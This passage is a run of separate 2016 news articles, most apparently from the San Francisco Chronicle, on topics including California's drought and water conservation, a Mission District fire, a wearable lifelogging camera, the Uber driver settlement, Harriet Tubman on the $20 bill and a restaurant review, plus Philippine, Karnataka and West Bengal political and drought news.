weeks include canvassing the returns and proclaiming the presidential and vice presidential winners, there is time to cinch approval for the measures, Recto insists. "Pagkatapos ng eleksyon sa Mayo, balik trabaho sa Senado at House. Kaya ang pwede pagpuyatan ay ang CCT at coco levy bills. We have three weeks to do it and in lawmaking, that's enough time to finalize a bill," he said. Two bills by Recto institutionalizing the CCT "are on the final stretch of committee deliberation," the senator explained, "Tapos na, report na lang ang kulang." The committee to which it was referred--Social Justice, Welfare and Rural Development--is chaired by Sen. Nancy Binay. Recto said the Department of Social Welfare and Development (DSWD) Secretary Corazon Juliano Soliman has requested Malacanang to officially back the measure, a move that will speed up its approval. In her Aug. 11, 2015 letter to President Aquino, Soliman said CCT's institutionalization will guarantee "that poor households shall continue to enjoy better education and health outcomes for an improved quality of life." Recto said the bills would provide a "lasting legal framework" to CCT's operation and protect it from "any shift in political winds." Recto filed Senate Bills 1152 and 2954 in July 2013 and September 2015 to define the 4Ps' scope, objectives, program grants and conditionalities, monitoring and evaluation. As to the coco levy measure, Recto explained that the consolidated bill he and Sen. Cynthia Villar authored was about to be approved on second reading when Malacanang suddenly issued twin orders governing its use in March last year. "Parang ang nangyari, Malacanang pulled the rug underneath it. It jumped the gun on the legislature as a whole," Recto said. Executive Order 179 provided for the inventory, privatization and transfer of coco levy assets in favor of government while Executive Order 180 mandated the transfer of the funds to government for an "Integrated Coconut Industry Roadmap Program." However, in May last year, the SC, acting on a farmers' group plea, issued a Temporary Restraining Order (TRO) stopping their implementation. "Thirty years have passed and the farmers are still waiting for the money, the fund is still frozen, and the implementation of the executive orders mandating its use has been stopped by the courts," Recto said. Birthed by Republic Act 6260, and expanded by four Marcos decrees, the coco levy was imposed on copra sales purportedly to raise capital investment for the coconut industry. By 1986, the total amount collected from the various coconut levies from 1971 to 1982 amounted to P9.7 billion. In the aftermath of EDSA I, the amount was sequestered by the Presidential Commission on Good Government (PCGG), which also triggered a long legal struggle for its ownership. On May 7, 2004, the Sandiganbayan rendered a partial summary judgment declaring that the six Coconut Industry Investment Fund - Oil Mills Group (CIIF-OMG) companies, their 14 holding firms, and the CIIF-OMG block of San Miguel Corporation (SMC) shares as "owned by the Government in trust for all the coconut farmers." The Supreme Court (SC), in its decision dated Jan. 24 2012, upheld the Sandiganbayan ruling. On the same year, the SMC shares amounting to P57.6 billion were paid for by San Miguel. The total amount of coco levy fund released for public dispensation was estimated to be worth P71 billion including interest when the SC issued the ruling. Following the SC order, bills were filed in the House and the Senate on how to judiciously and transparently dispose the levy for the benefit of coconut farmers.
HUBBALLI: Twenty four year-old Manjunath Byahatti, a farmer of Kurlageri in Nargund taluk of Gadag district, has to put off his wedding owing to severe drought condition.

Though he is engaged to his bride, he is finding it difficult to mobilise funds for the wedding after suffering a loss of crops in because of failure of monsoon for two consecutive years. Besides, he has failed to raise loans as he has already borrowed several lakhs of rupees to undertake sowing operations.

April 2016, is the most auspicious month for wedding and marriage halls are full as they were already booked well in advance in urban areas. The situation, however, is different in rural areas as farmers are struggling to fetch a pot of drinking water.

Several farmers have postponed their wedding till September or October when political bigwigs like BJP leader B Sriramulu sponsor free mass marriages every year as they cannot afford to bear the expenditure owing to the acute drought. Many farmers have deserted their village in search of jobs in urban areas as running the family itself has been a tough challenge for them.

We have postponed the marriage of my brother as we don't have money. The jowar, cotton crop in our 12 acres of farm land has totally dried up due to failure of monsoon since last two years.

I have also incurred loss of Rs 60,000 and could not repay the loan taken from banks and money lenders for agriculture. We managed to get little yield to meet the needs of our livelihood due to scanty rainfall in June last year.

Early implementation of Kalasa Banduri project will ensure regular flow of water in the canal in our village as there is no enough water in Malaprabha reservoir", says Shankrappa Byahatti, a farmer of Kurlageri village in Gadag district.

In some drought-hit districts of north Karnataka, parents of brides are scouting for grooms who are employed in private companies and government jobs. They hesitate to marry their daughters to farmers as the region is prone to drought every year. "Farmers are finding it tough to find brides as they are debt-ridden.

The parents of the bride consider agriculture as loss making activity and will not perform marriage with groom if he is a farmer. Moreover, increasing number of farmer suicides has caused much anxiety for them" Shankargouda Jayangoudar, Doni villager and former Gram Panchayat member.

No drought like this in state since 1972, says Siddaramaiah

Chief Minister Siddaramaiah, who toured drought-affected districts of North Karnataka on Saturday, said that the drought the state is facing now is unprecedented since 1972.

Divisional-level committees headed by senior ministers have been formed to effectively tackle the situation, he said. Stating that the Bhima river, which flowed through Vijayapura, Kalaburagi and Yadgir districts, has dried up completely, the Chief Minister said he will again write a letter to the Maharashtra government to release 2 tmcft of water to meet the drinking needs of the villages.

I had asked the Water Resources Minister M.B. Patil to be in touch with Maharashtra, but the neighbouring state replied that their people too were facing a severe water crisis. In view of the demand from the area, I will again appeal to the Maharashtra government to release water, he said.
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The Bay Areas reputation for environmentally friendly design has received a boost: Four of this years 10 winners of the nations top honor for green buildings are located here and locally sourced.

Two San Francisco buildings and two in Berkeley are among the selections in the 20th annual sustainable building awards announced Friday by the American Institute of Architects and its Committee on the Environment. The emphasis of the award is not only on design but also energy use and the larger philosophy of conserving resources.

The best-known local structure honored is the Exploratorium on Pier 15, an ambitious reuse of a former warehouse by EHDD that aims to generate as much energy as it consumes. Among the methods employed in the design by the San Francisco firm: Bay water is used to help cool the building.

Berkeley library

The other building with a large number of visitors is quite different: the West Berkeley branch library that opened in 2013. Designed by the San Francisco office of the firm Harley Ellis Devereaux, it includes a wind chimney to encourage natural ventilation.

The other two local award winners are by Leddy Maytum Stacy, a San Francisco firm. One project is Rene Cazaneve Apartments, a 120-unit complex for formerly homeless adults on Folsom Street at the foot of Rincon Hill done in collaboration with Saida + Sullivan Design Partners. The other is the Jacobs Center for Design Innovation at UC Berkeley.

Weve tried to craft a practice that addresses larger societal issues, said Bill Leddy of Leddy Maytum Stacy. The small firm has now received eight awards in the well-regarded competition. Leddys reaction? It feels great.

S.F. architects honors

Drought Map Track water shortages and restrictions across Bay Area Updated to include drought zones while tracking water shortage status of your area, plus reservoir levels and a list of restrictions for the Bay Areas largest water districts.

The Jacobs Center also received a special commendation for sustainability in the 2016 Design Awards presented Wednesday by the San Francisco chapter of the American Institute of Architects.

Four buildings received honor awards for architecture from the chapter, which is one of the nations largest.

One is the restoration of conceptual artist David Irelands former home in the Mission District, by Mark Jensen Architects and the Architectural Resources Group. The other three are academic buildings: Chu Hall by SmithGroup at the Lawrence Berkeley National Laboratory; the College of Marins academic center by TLCD Architecture and Mark Cavagnero Associates; and Stanford Universitys Central Energy Facility, by ZGF Architects and Affiliated Engineers.

In addition, there was recognition for a range of buildings that extends from the preservation and modernization of San Franciscos War Memorial Veterans Building to a new Whole Foods Market in San Jose. For more information on all the winners, go to www.aiasf.org/

John King is The San Francisco Chronicles urban design critic. Email: jking@sfchronicle.com Twitter: @johnkingsfchron
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Californians cut water use 12 percent in February, concluding a nine-month mandatory conservation initiative that fell just short of the governors 25 percent saving goal, according to state data released Monday.

Cumulatively, urban water use dropped 23.9 percent from June 1 to Feb. 29 when compared with the same period in the baseline year of 2013  a reduction that state water officials still praised as a success in combatting Californias historic drought.

Twenty-four percent savings shows enormous effort and a recognition that everyones effort matters, said State Water Resources Control Board Chair Felicia Marcus. Californians rose to the occasion, reducing irrigation, fixing leaks, taking shorter showers and saving our precious water resources in all sorts of ways.

Conservation rules for cities and towns remain in place. But the state regulation was eased in March and now seeks a 20 percent reduction. The target may be lowered even more when regulators meet this month, at least in the northern part of the state where El Nino rains have provided a boost to drought-stricken water supplies.

Gov. Jerry Brown began asking Californians to cut back water use two years ago, but conservation became mandatory in June when California hit bottom in its four-year drought.

The state rules required local water agencies to cut back between 4 and 36 percent from 2013, the year before the governor declared a drought emergency. Places that conserved more in the past were given lower targets while bigger guzzlers faced steeper goals.

Many communities responded by passing the state mandates on to customers in the form of outdoor watering limits, car-washing bans and even caps on total water use. Some residents were fined for failing to cut back, such as Oakland As executive Billy Beane and former Chevron Vice Chairman George Kirkland.

Most of the Bay Area met its conservation numbers over the nine-month period, according to the new state data.

San Francisco, which was ordered through the San Francisco Public Utilities Commission to reduce water use by 8 percent, recorded a 14.9 percent savings. The East Bay Municipal Utility District surpassed its 16 percent target with a 23.6 percent reduction, while the San Jose Water Co. exceeded its 20 percent goal with a 31.4 percent cut.

Local agencies that didnt meet their targets include the Suisun-Solano Water Authority; the private company serving Portola Valley, Woodside, Atherton and portions of Menlo Park and Redwood City; the city of Sonoma; and Pittsburg.

The Bay Area laggards generally missed their benchmarks by just a few percentage points. The biggest stragglers were in Southern California and the Central Valley.

Drought Map Track water shortages and restrictions across Bay Area Updated to include drought zones while tracking water shortage status of your area, plus reservoir levels and a list of restrictions for the Bay Areas largest water districts.

California City in Kern County, Riverbank and Blythe in Riverside County, El Segundo in Los Angeles County, and the Malibu area fell short of their targets by 16 percentage points or more.

The current conservation rules continue the tier-based water mandates, but with many communities facing softer targets.

Kurtis Alexander is a San Francisco Chronicle staff writer. Email: kalexander@sfchronicle.com Twitter: @kurtisalexander

Monthly savings

Californias monthly water conservation compared with the same months in 2013, which was used as the baseline:
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The peaks of the Sierra are thick with snow, and California reservoirs are still rapidly filling. But the wet and welcome respite after four years of drought may be short-lived, federal climate experts said Thursday.

Runoff from the mountains will peter out earlier than usual this spring because of near-record heat, they said, and a weakening El Nino will probably give way to La Nina  all of which suggests a dry year ahead.

The forecast comes as California water officials face pressure to lift statewide conservation rules that have ushered in an era of brown lawns, unwashed cars and shorter showers. Regulators expect to weigh in on the rules next month, potentially easing the mandates, but probably not eliminating them.

Lingering drought

The monthly climate outlook released this week by the National Oceanic and Atmospheric Administration projects that most of California will remain in drought over the next several months. The forecast reverses last months projection that nearly half of the state would begin seeing relief.

Lea Suzuki/The Chronicle

The change reflects the results of a disappointing El Nino, which didnt deliver the wetter-than-average winter that many had hoped for, and the increased odds of a La Nina emerging this fall  now at 70 percent.

While El Nino represents a warming of the tropical Pacific Ocean and is associated with jolts in global weather that often bring more rain and snow to California, La Nina is marked by cool equatorial waters and has virtually the opposite effect on weather.

There is a trend for drier-than-normal conditions across the southern United States, said Jon Gottschalck, chief of the operations branch of NOAAs Climate Prediction Center.

Gottschalck said California is among the areas that typically see less rain and snow during La Ninas, noting Southern Californias exceptionally dry history with the event.

According to Golden Gate Weather Services, 19 of the 20 La Ninas since 1950 have correlated with below-average rain on the states southern coast. Thirteen have come with less than 80 percent of normal rainfall. Statewide, precipitation has been about 90 percent of average during La Ninas.

NOAA scientists said this week they dont know exactly what La Nina will mean for California this year because its too early to tell and because the pattern isnt a perfect forecasting tool.

La Ninas, like El Ninos, generally occur every two to seven years. Each represents the opposite phase of fluctuating ocean and atmospheric conditions in the equatorial Pacific. La Ninas often follow strong El Ninos, like this years, because powerful El Nino currents flush out warm water and draw in the cold.

Temperatures in the tropical Pacific remain higher than normal this month, but theyre quickly dropping and are expected to normalize by late spring or early summer, according to NOAA.

The unusually warm weather further complicates Californias water picture  the quickly melting snowpack in the Sierra is running more than two weeks ahead of normal.

The worlds major meteorological agencies said this month that the planet is amid a historic heat streak. March marked the 11th straight month with a record high average temperature since data was first collected more than 100 years ago. In the United States, March was the fourth warmest on record, according to NOAA.

The earlier snowmelt raises concerns for water resources, said Nina Oakley, a climatologist with NOAAs Western Regional Climate Center.

Snow wont last long

Oakley said that while many of Californias big reservoirs have filled, thanks to recent runoff, particularly in the north, the snow to sustain them will be gone by late spring or summer. This means cities and farms will have less reserves to live with during the driest part of the year.

Sierra snow accounts for about a third of Californias water supply.

Drought Map Track water shortages and restrictions across Bay Area Updated to include drought zones while tracking water shortage status of your area, plus reservoir levels and a list of restrictions for the Bay Areas largest water districts.

With many reservoirs now benefiting from snow runoff, dozens of water managers from across the state packed a meeting of the State Water Resources Control Board on Wednesday to call for less stringent conservation rules.

Our customers can see these things (full reservoirs) and they dont understand why were required to have emergency restrictions in place, said Mike Healy, a Petaluma city councilman.

Healy was among many who suggested that management of water supplies should be returned to local officials, noting that different communities face very different water situations.

NOAAs climate forecast this week shows drought conditions receding in coastal areas north of San Francisco while the rest of the state remains entrenched in drought  as it will at least through July.

State policy is essentially blind to geography and requires all cities and towns to reduce water use. Each area faces a mandatory cut, between 4 percent and 36 percent depending mainly on how much water it has saved in the past.

State Water Board Chair Felicia Marcus said regulators will consider the request to relax the rules, though she remained reluctant to act too soon.

We dont know what will happen next year, Marcus said. Theres a judgment call to be made. Ive yet to see a simple way of moving forward.

Kurtis Alexander is a San Francisco Chronicle staff writer. Email: kalexander@sfchronicle.com Twitter: @kurtisalexander
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At least a dozen people were displaced and two firefighters were injured Friday after the second major blaze in the Mission District in two days scorched a three-unit apartment building.

Around 9:30 a.m., fire crews responded to 145 San Jose Ave., near 24th Street. Flames spread quickly up the back of the four-story wood-frame building, said Jonathan Baxter, a spokesman for the Fire Department. The fire was contained by 10:20 a.m., but not before at least two of the units suffered significant damage.

Monq Wellington, 33, who lives on the second floor, was in his front room when someone knocked on the door. Wellington ran to the back room and was confronted with a wall of smoke.

The smoke was too thick to see anything, he said as he stood on the front stoop of an apartment across the street.

The fire seemed to have originated on the first floor, Wellington said, but everyone got out safely, including a cat named Socks who was wrapped in a blanket recuperating.

Two firefighters suffered minor injuries, though, one a cut hand and the other a bloody nose. Both were treated at the scene, Baxter said.

The 12 residents of the burned building were likely to be displaced, and it was not immediately clear if another nine people from a building to the north would be allowed to return to their residences. The Red Cross was helping victims, Baxter said.

Roommates Anna Starostinetskaya and Kim Anderson, who live on the middle floor of the building, were both at work when they learned of the fire.

By 1 p.m., with a steady rain falling, they were standing on 24th Street by the 76 gas station, where firefighters had deposited a heaping pile of half-charred and thoroughly soaked possessions from the building. There were a partially melted mountain bike frame, a doll with pigtails, an oil painting and books like Idiots Guide To Genealogy.

Starostinetskaya, an author of travel books, was resigned to the probability that her MacBook was destroyed, along with a prized llama trinket a best friend brought from Peru and back-order copies of the four books she has written, including Off Track Planets Travel Guide For The Young, Sexy, and Broke. She was particularly worried about the phone charger that powers her decade-old Samsung flip phone.

Im concerned I wont be able to talk to my dad, she said.

The roommates said they planned to stay temporarily with friends  and were just starting to digest their plight. Finding a new place in the citys trendiest neighborhood, they said, wouldnt be easy.

Drought Map Track water shortages and restrictions across Bay Area Updated to include drought zones while tracking water shortage status of your area, plus reservoir levels and a list of restrictions for the Bay Areas largest water districts.

You keep a Mission apartment  if you can, Starostinetskaya said.

She looked around at her local taqueria, Papalote, and her beloved go-to corner store, Valencia Farmers Market. A few minutes later Papalote manager Crystal Servey walked out to the Red Cross tent carrying a box with 50 half-burritos to feed to volunteers, firefighters and burned-out tenants.

My boss is a very generous man, said Servey. He thinks the least he can do is to bring these poor people some burritos.

On Thursday, a blaze damaged two buildings on 17th Street near Guerrero Street before it was brought under control. Investigators said there is no reason to suspect that the two fires, which are under investigation, are linked.

It doesnt take much for a wood-frame building to be involved in a fire, said city Battalion Chief Tom Siragusa.

Steve Rubenstein and Kale Williams are San Francisco Chronicle staff writers. Email: srubenstein@sfchronicle.com , kwilliams@sfchronicle.com Twitter: @SteveRubeSF, @sfkale
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The Narrative Clip 2 is an inconspicuous wearable camera that creates a continuous photo and video reel of almost every waking moment of your life.

Depending on how you look at it, the device is either a valuable addition to our social-media-fueled lives, or a big shove down a slippery  and possibly illegal  slope toward a world where nothing evades the gaze of Big Brother.

Like it or not, wearable lifelogging cameras like the Narrative Clip 2, a body cam for civilians, may someday become as commonplace as mobile phones are now.

This is the ultimate selfie stick, said renowned futurist Paul Saffo. Thats where were headed.

Narrative, a startup founded in Sweden and now based in San Francisco, first created the Memoto Lifelogging Camera in 2012 on the premise that people will want an automatic record of everything from the mundane to the extraordinary.

The company later renamed the device the Narrative Clip. The second-generation Clip 2, costing $199, became available in the U.S. this month.

We built it to wear anytime, anywhere, said Oskar Kalmaru, Narratives co-founder and chief marketing officer. Most users pick and choose an interesting time to wear it: when youre out with your kids in the park or having dinner with friends or having dinner with your wife, those special times when you also want to be in the moment.

As any parent will attest, its hard to remain in the moment when youre looking through the viewfinder of a digital camera or cell phone trying to frame a photo of your kid scoring a goal or hitting a homer.

The Clip 2 is an 8-megapixel digital camera, with an 86-degree field of view lens, that you can program to automatically snap a photo every 10 to 120 seconds. Or you can tap it to start a 10-second video in 1080p resolution, with audio.

True to its name, you can clip it to a lapel or shirt pocket. Its a simple, black plastic square (also available in red or white), just an inch and a half on each side. It certainly does not look like a camera.

It has 30 hours of battery life and 8 GB of memory to store about two days of photos. When you charge it, the Clip uploads the photos through a phone app, via Wi-Fi, to your private Narrative account.

There, the photos appear by date and time, so you can go back to a particular day to reflect on your activities. A filter highlights the best shots, based in part on clarity, and you can share any photos and videos by email or social media.

I tested a Clip 2 supplied by Narrative for about a month and found those memorable shots were few and far between.

For every clear photo of a Steve Wozniak taken during an interview or of co-workers during a staff meeting, the Clip snapped dozens of blurry, poorly framed shots of random people on the street, the yogurt counter at the grocery, my hands on my laptop keyboard and my ceiling lights.

However, taken as a whole, all of the photos provided an insightful snapshot of my life. After a week, I realized how much of each day is made up of routine, mundane events  commuting, sitting, typing, walking, eating  that I shouldnt take for granted because they all add up to lifes precious, fleeting moments.

Liz Hafalia/The Chronicle

And I deeply regret not wearing the Clip 2 during one exceptionally thrilling moment: As a surprise birthday gift, my daughter and son arranged for me to go on the field at AT&T Park between innings of a Giants game to steal second base as a souvenir. (As a fundraiser, the Giants let people take and keep used bases from the field.) I couldnt hold a camera or phone because I wanted to drink in every ounce of that memory. Plus, I needed both hands to carry the base.

Yet this was the exact type of memory the Clip was designed to capture. Unfortunately, I had stopped wearing the device around my kids because they thought it was creepy to be recorded all the time. Id become just like those glass holes who recorded people unawares while wearing Google Glass.

And that leads to the Clips big downside: It might be illegal.

It could be considered a way to eavesdrop on confidential communications without the consent of the participants  a violation of California law  said David Greene, the Electronic Frontier Foundations civil liberties director and staff attorney.

The illegal intrusion comes from the mere capturing, not the publication, of the recording, he said.

Holding up a camera, camcorder or mobile phone is a signal that youre taking a photo or shooting a video, which could prompt someone to duck out the way or request they not be photographed. But theres no such signal with a Clip 2. It could easily be mistaken for a tie clip or badge, if you even notice it at all.

(An attorney for the Hearst Corp., which owns The Chronicle, went a step further and said walking around on a public street automatically snapping photos of people might be considered illegal. She suggested I wear a big button saying, Smile, youre being recorded.)

People dont yet recognize this as being a recording device, Greene said. Its hard to say theres never a possibility of invading someones privacy in a public space.

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But that could change over time. Police officers increasingly are being required to wear body cams, and drivers are installing dash cams to record street action.

What could happen is that the expectation of privacy is going to change, Greene said. You could make the argument at some point that there will be no expectation of privacy at all.

Narratives Kalmaru maintains its every persons right to document their lives the way they see fit. And with certain once-in-a-lifetime events like weddings, he said, you cant have too many photos.

The idea a forehead-mounted, walnut-sized camera first surfaced in a 1945 article in The Atlantic by Vannevar Bush, then director of the U.S. Office of Scientific Research and Development, who proposed a vast information management system. In 2000, renowned computer scientist and Microsoft researcher Gordon Bell coined the term lifelogging when he began wearing a camera that took photos every 30 seconds, fulfilling part of Bushs vision.

Narratives Clip 2 and similar devices could make lifelogging so common in the future that few will mind that Big Brother is going to be sitting on your shoulder in HD format, said Saffo, an associate professor at Stanford University who has forecast technological changes for more than two decades.

Fitbit, he said, is already lifelogging personal activity, so its not too much of a stretch for people to want to add photos and video to the mix.

Its not a question of whether people are going to do it, Saffo said. The question is how quickly and how deeply will people move to this new form of cybernarciscissm.

Socrates famously said the unexamined life is one not worth living, Saffo said. At some level, this is a fulfillment of Socrates dreams. Or the opposite. Who knows?

Benny Evangelista is a San Francisco Chronicle staff writer. Email: bevangelista@sfchronicle.com
Uber drivers will remain independent contractors and receive up to $100 million under a settlement announced late Thursday of class-action lawsuits pending in California and Massachusetts.

As part of the agreement, the company that connects passengers and drivers is now specifying how it decides to deactivate or terminate drivers and will give them more recourse to appeal being let go.

The drivers had sought to be reclassified as employees  something that Uber said would devastate its business model and hurt drivers flexibility to set their own schedules.

Uber is the most public face of the burgeoning new gig economy in which online marketplaces connect workers with customers for services such as rides, cleaning or errands. The rise of the sector has triggered a national discussion about whether gig workers should be entitled to the rights and benefits of employees. By putting the case behind it, Uber is free to concentrate on its global expansion and preparations for a public stock offering.

In fact, a Wall Street debut was part of the settlement deal. Uber will pay drivers $84 million now. Within a year of Uber going public or getting sold, if its value increases by 50 percent over its current $63.5 billion, it will pay the drivers another $16 million.

It was smart of Uber to settle, and I think Uber got a good deal, said Steven Davidoff Solomon, a law professor and co-director of the UC Berkeley Center for Law, Business and the Economy. Its not a gangbuster win for the plaintiffs, but they do get some benefits. He noted that about a third of the settlement amount will go to attorney fees.

In an an unusually restrained blog post titled Growing and growing up, Uber CEO Travis Kalanick wrote, As Uber has grown  over 450,000 drivers use the app each month here in the U.S.  we havent always done a good job working with drivers.

For example, we dont have a policy explaining when and how we bar drivers from using the app, or a process to appeal these decisions. At our size thats not good enough. Its time to change.

Drivers had complained that deactivations sometimes seemed arbitrary and were linked to how many rides they accepted  a factor that should have been under their control if they were truly independent contractors. Uber said it would no longer deactivate drivers for declining trip requests, but may alert them if they have low acceptance rates and then sometimes log them out of the app for a limited time. A new peer review process will let drivers appeal deactivations to other drivers.

Uber will also fund drivers in the two states to create peer-led associations that can raise drivers concerns with Uber management on a quarterly basis. Another bone of contention for drivers is that Uber leads passengers to believe that tips are included in their fares. Uber will now make clear that thats not the case and drivers will be permitted to put signs in their cars saying that tips are not included, they are not required, but they would be appreciated.

We believe the settlement ... provides significant benefits  both monetary and non-monetary  that will improve the work lives of the drivers and justifies this compromise result, said Shannon Liss-Riordan, the attorney for the drivers, in a statement. A jury trial with an eventual appeal to the U.S. Supreme Court likely was a risk that she chose not to take, she said.

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The California case, OConnor vs. Uber Technologies, was set to go before a jury in San Francisco federal court in June. The Massachusetts case is Yucesoy vs. Uber Technologies. Together, the two cases covered some 385,000 drivers who had ever worked for Uber in either state. The money will be allocated based on how much drivers worked.

Drivers who put in the most time behind the wheel, driving more than 25,000 miles since Ubers start, could receive $8,000 on average, Liss-Riordan said.

U.S. District Judge Edward Chen must approve the agreement. A similar settlement between Lyft and about 100,000 California drivers for $12.25 million was rejected by U.S. District Judge Vince Chhabria on the basis that the amount shortchanged the drivers.

The settlement doesnt carry any weight of a legal precedent and may not end the ongoing controversy about gig workers status. It doesnt settle the issue of contractors or employees, Davidoff Solomon said.

However, it may be settled for Uber. Uber now has learned how to restructure its arbitration agreements to thwart class-action cases, he said.

Carolyn Said is a San Francisco Chronicle staff writer. Email: csaid@sfchronicle.com

Twitter: @csaid
This was a miserable time in the city.

The Chronicles front page from April 22, 1976, covers a city worker strike that affected transit, schools and pretty much all of city life. Crafts workers went on strike, and Muni workers honored the picket line, bringing transportation in San Francisco to a screeching halt.

Students also felt the burden. The story by Ron Moskowitz on the front page tells the story of Mary and Jennie Law, sisters who attended Lowell High School.

Normally, (the sisters) would have slept more than an hour later and boarded a bus for school, the story read. But the Muni isnt running. The city crafts workers strike is in its fourth week. So they walked five miles to school.

The Muni drivers who stayed home werent immune from the pain.

Like most of the other 2,574 Municipal Railway employees idled by the city strike, Hubert L. Anderson spent the day yesterday puttering about the house, mourning lost income and worrying about bills, a front-page story by The Chronicles Jerry Carroll read. I am broke, he said. I dont have any money.

This was the 22nd day of the strike. It would last 38.

Thirty-eight miserable days.

Photo Caption Hall of Fame: With the Muni workers plight story: Muni driver Hubert Anderson did housework while his wife went to work. Oh, the humanity.

Top O the Top of the News: Civilization is everywhere, lamented a couple that has moved to the northernmost reaches of Alaska to escape it. Page 18. Picturing this being said by Robin Williams in his stereotypical Because were French accent while smoking an imaginary cigarette.

See more front pages: Go to SFChronicle.com/covers to search a database of hundreds of Chronicle Covers articles that showcase the newspaper's history.

More from the Archive The Vault Home of the San Francisco Chronicle's archive and more than 150 years of journalism covering the Bay Area and beyond.

Chronicle Covers is a yearlong project highlighting one classic Chronicle newspaper page from our archive every day for 366 days. Library director Bill Van Niekerken, art director Danielle Mollette-Parks, producer Michelle Devera and editorial assistant Jillian Sullivan contributed to the project. Tim ORourke is the executive producer and editor of SFChronicle.com. Email: torourke@sfchronicle.com Twitter: @TimothyORourke

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West Bengal Chief Minister and TMC supremo Mamata Banerjee at an election campaign rally at Khardha in North 24 Pargana. (Photo: PTI)

Bally: Chief Minister Mamata Banerjee on Friday attacked the Opposition CPI(M), accusing it of leaving a "huge debt burden" on the ruling Trinamool Congress dispensation and claimed it would have "auctioned" the state if it were "in her place".

"CPI-M had left a debt burden of two lakh crore rupees when we came to power. Inspite of it Bengal has turned around during our rule. CPI-M would have auctioned Bengal if they were in my place," she told an election meeting here.

"Mother of thieves shout the most," she remarked for criticising her. Launching a scathing attack on the opposition for unleashing sharp "criticism" against her, the TMC supremo said.

"Many leaders are saying many things against me but I never made any personal attack against anybody. It doesn't look nice for a human being to bite a dog," she said.

Stating that it was her government that had ushered in development in the state, Banerjee said a "shilpa tirtha" (industrial hub) is being set up at Belur with Japanese collaboration in which Rs 6,800 crore would be invested and one lakh people would get employment.

Apart from this a textile park is also being set up at Belur in which Rs 3,000 crore is being invested, she said.

"The performance of our government will be a matter of research in the world one day," she said adding Bengal is number one in many fields including small scale industry sector, skill development and 100 days work.
Harriet Tubman cant get on the front of the $20 bill soon enough.

Im still sitting with the idea that a woman whose body was once considered currency will be on the face of our currency, but I know its right.

The only twist is that well still have to live with Andrew Jackson  a genocidal, slave-holding sociopath who made few positive contributions to American history  on the flip side. With luck, the U.S. Treasury will reconsider its decision to continue featuring him.

For now, Im agog at how great its going to be to look at Tubmans face every time I go to the ATM.

I almost feel silly at how excited I am to exchange her image for tortilla chips, dishware and all the other mundane things I spend cash on.

Then I remember the deep emotional charge that money holds. Its light  a contract between a government and its people, and an image of the way we represent ourselves. Its also dark  a fetish object and an instrument of exploitation. And now itll carry the image of one of American historys most formidable figures.

If you dont know much about Tubman beyond the fact that she led American slaves to freedom on the Underground Railroad, buckle up. Freeing slaves was the least of what she did over the course of a long and audacious life.

She was completely dedicated to liberation in all of its forms. Born a slave in Maryland around 1820, she might have died the first time she revolted against the system. As a teenager, she blocked a doorway to protect another slave from an angry overseer. The man threw a weight at her head, permanently disabling her.

But he didnt kill her, and perhaps thats when she first realized, There was one of two things I had a right to: liberty or death. If I could not have one, I would take the other. Not only did she return to the South 19 times  where there were bounties on her head of up to $40,000 (more than $1 million today)  to rescue her people from Egypt, but she earned her own money to do so.

During the Civil War, she was a warrior, scout, cook, nurse and spy for the Union side. Her liberation work never stopped, even during the war. During the Combahee River raid, she led Union gunboats into the heart of Confederate territory in order to liberate more than 750 slaves. No less courageous an antislavery advocate than John Brown conferred with General Tubman about military strategy and called her one of the bravest persons on this continent.

Did I mention that she was physically disabled and only 5 feet tall?

Having been a commodity herself, Tubman always understood the value of money. After the Civil War, the U.S. government tried to deny her a soldiers pension. Women werent making equal wages even then. Well, you wont be surprised that Tubman stood up, demanded what was hers, and won  in 1899 she started receiving a monthly pension of $20.

Fitting.

Theres more  lots more  about Tubmans work as a womens suffragist and her work as a humanitarian. After the war, she toured the Eastern Seaboard giving speeches in support of womens voting rights, and she created a home for elderly, indigent African Americans and then spent the rest of her life caring for them.

But you get the picture  shes not just one of the best Americans, she represents the best of America.

Now we just need to get that slaveholder off of her back. Are you listening, U.S. Treasury Secretary Jack Lew?

Caille Millner is a San Francisco Chronicle staff writer. Email: cmillner@sfchronicle.com Twitter: @caillemillner
Many chefs have a challenge in creating cohesive menus these days because the lines between bar and restaurant continue to blur. Some patrons are there to drink and have a few snacks; others want a full dinner, and the cocktails become secondary.

Hog & Rocks is a prime example of this dichotomy. Its name comes from what it does best: charcuterie, oysters and cocktails. Its what owner (and original chef) Scott Youkilis called San Franciscos first ham and oyster bar.

When I initially reviewed the restaurant when it opened in 2010, Youkilis was in the kitchen. He then stepped back to let Robin Song put his stamp on the menu. Song left last year, and in December Pierre Tumlin took over and started to reformulate the menu. Hes shown a lot of talent in a short time, and was named one of The Chronicles Rising Star chefs.

However, chefs who take over an established kitchen have restrictions that may box them in. At Hog & Rocks, of course, its the selection of a half dozen hams, four types of oysters and excellent cocktails such as My Buddy ($13), a blend of rye, Gran Classico and Lillet Blanc that lightly smooths the sting of the alcohol. Those elements become the muse for much of the menu.

In addition, the restaurant, which features a series of bar-height communal as well as regular tables, has menu mainstays such as the Korean wings ($15). The wings may look messy and gooey, but the meat falls off the bone with the lightest touch, mixing with the spicy-sweet sauce; they are as good as ever. Theyre particularly good paired with one of the spiritous cocktails such as Don Arrio ($13), highly recommended by our waiter. The complex blend is made with an extra smoky mezcal, lemon, apricot, chile and salt, and has the aroma of a doctors exam room, an observation from two friends who are physicians.

Our waiter was always there when we needed him. He knew the menu and automatically brought serving utensils for our shared dishes. This is a vast improvement from previous visits.

The dilemma for a chef like Tumlin is how to bring his voice into such a restaurant. Its not always easy, as illustrated by the fries ($9.50). They come either glazed with egg yolks or thickly dusted with paprika and other spices. My question is: why? The fries are excellent, the egg yolk glaze only makes them needlessly sticky, and the spices are good but distract from the natural potato flavor. Theres no need to embellish.

Tumlins talent shines on one of the nightly specials: a thick slice of brioche toast doused in cream and blanketed with morel mushrooms, ramps, coins of radishes and a few feathery sprigs of frisee. Its a dish that is so bold and rich it could be served in a bar or in a white-tablecloth restaurant.

Another of his signature dishes, the asparagus salad ($17), starts with a thick pool of avocado-tofu puree with spears of white and green topped with a knob of crab meat, drizzles of bright yellow egg yolk vinaigrette, radishes and a see-through slice of crisp rye bread. The combination of ingredients was spot on, but the white asparagus was undercooked, so the spears were tough and stringy.

The menu seesaws between refined and rustic. The local market fish ($28) was an exceptionally well-seared fillet with a medley of spring vegetables that included asparagus and snap peas. It was served in smoked almond brodo, which tasted more like a bowl of fresh cream; less would have been more. Still, it retained a clear California point of view.

